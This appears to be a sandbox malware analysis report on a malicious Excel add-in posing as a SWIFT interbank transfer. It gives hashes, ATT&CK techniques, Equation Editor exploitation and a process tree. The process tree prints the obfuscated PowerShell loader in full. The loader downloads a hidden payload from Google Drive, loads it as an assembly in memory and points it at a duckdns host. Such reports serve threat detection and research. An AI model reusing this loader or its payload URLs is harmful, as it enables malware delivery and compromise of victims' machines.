c45d31e44d57ed25927e102efcfae85dd155f2496624c3958bdd4076d4e0b386

General

Target

transferencia interbancaria_Swift_6647875.xlam
Size

597KB
MD5

b084fdb4d0c9b94ab31e3a762a8ceae9
SHA1

40118c7bde4f52645b341ee5dacca239eeb482ef
SHA256

c45d31e44d57ed25927e102efcfae85dd155f2496624c3958bdd4076d4e0b386
SHA512

c7a0b4175be14c6146a5016bcc733096b68acc1ec1a0c9078e3d8038ca3cb025cbff79ef5a85899a0e1b91c00b3e77086f8af1bf3da0f16030f172ce08dbeb17
SSDEEP

12288:YYoYZa3XGB29qpzJjEsC/KW2ZF4wtho8mDYEX4BLKLQ:PRw32XzJjHC/EHtho8mD1X41KM

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=17kQITFJZ1tqdqTVyc8JyKCRsAb083F4G

exe.dropper

https://drive.google.com/uc?export=download&id=17kQITFJZ1tqdqTVyc8JyKCRsAb083F4G

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	3060	EQNEDT32.EXE
7	2640	powershell.exe
9	2640	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2640	powershell.exe
2108	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	drive.google.com
7	drive.google.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
3060	EQNEDT32.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2772	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2108	powershell.exe
2640	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2108	powershell.exe
Token: SeDebugPrivilege	2640	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3060 wrote to memory of 2736	3060	EQNEDT32.EXE	32
PID 3060 wrote to memory of 2736	3060	EQNEDT32.EXE	32
PID 3060 wrote to memory of 2736	3060	EQNEDT32.EXE	32
PID 3060 wrote to memory of 2736	3060	EQNEDT32.EXE	32
PID 2736 wrote to memory of 2108	2736	WScript.exe	33
PID 2736 wrote to memory of 2108	2736	WScript.exe	33
PID 2736 wrote to memory of 2108	2736	WScript.exe	33
PID 2736 wrote to memory of 2108	2736	WScript.exe	33
PID 2108 wrote to memory of 2640	2108	powershell.exe	35
PID 2108 wrote to memory of 2640	2108	powershell.exe	35
PID 2108 wrote to memory of 2640	2108	powershell.exe	35
PID 2108 wrote to memory of 2640	2108	powershell.exe	35

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\transferencia interbancaria_Swift_6647875.xlam"
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2772

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:3060
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\miraclefridaymanager.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnM3N4aW1hZ2VVcmwgPSBleUxodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTE3a1FJVEZKWjF0cWRxVFZ5YzhKeScrJ0tDUnNBYjA4M0Y0RyBleUw7M3N4d2ViQ2xpZW50ID0gTmV3LU9iamUnKydjdCBTeXN0ZW0uTmV0JysnLldlYkNsaWVudDszc3hpbWFnZUJ5dGVzID0gM3N4d2ViQ2xpZW50LkRvd25sb2FkRGF0YSgzc3hpbWFnZVVybCk7M3N4aW1hZycrJ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6JysnVVRGOC5HZXRTdHJpbmcoM3N4aW1hZ2VCeXRlcyk7M3N4c3RhcnRGbGEnKydnID0gZXlMPDxCQVNFNjRfU1RBUlQ+PmV5TDszc3hlbmRGbGFnID0gZXlMPDxCQVNFNjRfRU5EPj5leUw7M3N4c3RhcnRJJysnbmRleCA9IDNzeGltYWdlVGV4dC5JbmRleE9mKDNzeHN0YXInKyd0RmxhZycrJyk7M3N4ZW5kSW5kZXggPSAzc3hpbWFnZVRleHQuSW4nKydkZXhPZigzc3hlbmRGbGFnKTszc3hzdGFydEluZGV4IC1nZSAwIC1hbmQgM3N4ZW5kSW5kZScrJ3ggLWd0IDNzeHN0YXJ0SW5kZXg7M3N4c3RhcnRJbmRleCArPSAzc3hzdGFydEZsYWcuTGVuZ3RoOzNzeGJhc2UnKyc2NExlbmd0aCA9IDNzeGVuZEluZGV4IC0gM3N4c3RhcnRJbicrJ2RleDszc3hiYXNlNjRDb21tYW5kICcrJz0gM3N4aW1hZ2VUZXh0LlN1YnN0cmluZygzc3hzJysndGFydEluZGV4LCAzc3hiYXNlNjRMZW5ndGgpOzNzeGJhc2U2NFJldmVyc2VkID0gLWpvaW4gKDNzeGJhc2U2NENvbW1hbmQuVG9DJysnaGFyQXJyYXkoKSBOS1kgRm9yRWFjaC1PYmonKydlY3QnKycgeyAzc3hfIH0pWy0xLi4tKDNzeGJhc2U2NENvbW1hbmQuTGVuZ3RoKV07M3N4Y29tbWFuZEJ5dGVzID0gW1N5c3RlJysnbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygzc3hiYXNlNjRSZXZlcnNlZCk7M3N4bG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKDNzeGNvbW1hbmRCJysneXRlcyk7M3N4dmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZChleUxWQUlleUwpOzNzeHZhaU1ldGhvZC5JbnZva2UoM3N4bnVsbCwgQChleUx0eHQuYmJiYmJiYmJiYmJld21hZGFtL2dyby5zbmRrY3VkLicrJ3JlZ2FuYW1sYWNvbHlhZGlyZi8vOnB0dGhleUwsIGV5TGRlc2F0aXZhZG9leUwsIGV5TGRlc2F0aXZhZG9leUwsJysnIGV5TGRlc2F0aXZhZG9leUwsIGV5TEFkZEluUHJvJysnY2VzczMyZXlMLCBleUxkZXNhdGl2YWRvZXlMLCBleUxkZXNhdGknKyd2YWRvZXlMKSk7JykgIC1SZXBsYWNlICAnTktZJyxbY2hhcl0xMjQgIC1SZXBsYWNlICczc3gnLFtjaGFyXTM2ICAtQ3JlcExBQ0UgICdleUwnLFtjaGFyXTM5KXwuKCAoW1NUckluR10kdkVyYm9zRXByZUZFcmVuY2UpWzEsM10rJ3gnLWpPaU4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2108
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('3sximageUrl = eyLhttps://drive.google.com/uc?export=download&id=17kQITFJZ1tqdqTVyc8Jy'+'KCRsAb083F4G eyL;3sxwebClient = New-Obje'+'ct System.Net'+'.WebClient;3sximageBytes = 3sxwebClient.DownloadData(3sximageUrl);3sximag'+'eText = [System.Text.Encoding]::'+'UTF8.GetString(3sximageBytes);3sxstartFla'+'g = eyL<<BASE64_START>>eyL;3sxendFlag = eyL<<BASE64_END>>eyL;3sxstartI'+'ndex = 3sximageText.IndexOf(3sxstar'+'tFlag'+');3sxendIndex = 3sximageText.In'+'dexOf(3sxendFlag);3sxstartIndex -ge 0 -and 3sxendInde'+'x -gt 3sxstartIndex;3sxstartIndex += 3sxstartFlag.Length;3sxbase'+'64Length = 3sxendIndex - 3sxstartIn'+'dex;3sxbase64Command '+'= 3sximageText.Substring(3sxs'+'tartIndex, 3sxbase64Length);3sxbase64Reversed = -join (3sxbase64Command.ToC'+'harArray() NKY ForEach-Obj'+'ect'+' { 3sx_ })[-1..-(3sxbase64Command.Length)];3sxcommandBytes = [Syste'+'m.Convert]::FromBase64String(3sxbase64Reversed);3sxloadedAssembly = [System.Reflection.Assembly]::Load(3sxcommandB'+'ytes);3sxvaiMethod = [dnlib.IO.Home].GetMethod(eyLVAIeyL);3sxvaiMethod.Invoke(3sxnull, @(eyLtxt.bbbbbbbbbbbewmadam/gro.sndkcud.'+'reganamlacolyadirf//:pttheyL, eyLdesativadoeyL, eyLdesativadoeyL,'+' eyLdesativadoeyL, eyLAddInPro'+'cess32eyL, eyLdesativadoeyL, eyLdesati'+'vadoeyL));') -Replace 'NKY',[char]124 -Replace '3sx',[char]36 -CrepLACE 'eyL',[char]39)|.( ([STrInG]$vErbosEpreFErence)[1,3]+'x'-jOiN'')"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
24debcc4a51b76762ce6da1ff6842d7b

SHA1
5fb12b12793ab7c8e3d83dcbdb1d84ac4acb6576

SHA256
2df6d84470a652e68d2bb3de4e722577c93d040af23ba523cfe99174e28ed59f

SHA512
56b41157b0f3a4d4bca3ecbc82db18c6f797e7bcf6fb55964a9f7e95c6eefc8b6f48d56320b60ebe807afd050a272a8e3f13e6614a24a3915704d94ef2f9825e

Download Submit
C:\Users\Admin\AppData\Roaming\miraclefridaymanager.vbs

Filesize
191KB

MD5
896de74c68c01322c2a62260440f6786

SHA1
7733c4904c691da91189b834320bc9a48d49cb35

SHA256
a1bc35142d25d8d1847f7ba185d8eba87bb597fe0ae84fd32d091f2adcb01a8a

SHA512
b3f592d3f25d11b9171d69ad119341c5dc8ea6ae6d8b5d8d1e7ccc6ea95128b618c3055b0d2e761c13d270b24b6a54daf2c3d3e106f175ec2adb828e1810ef66

Download Submit
memory/2772-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2772-1-0x0000000071DBD000-0x0000000071DC8000-memory.dmp

Filesize
44KB

Download
memory/2772-16-0x0000000071DBD000-0x0000000071DC8000-memory.dmp

Filesize
44KB

Download

Analysis

Sharing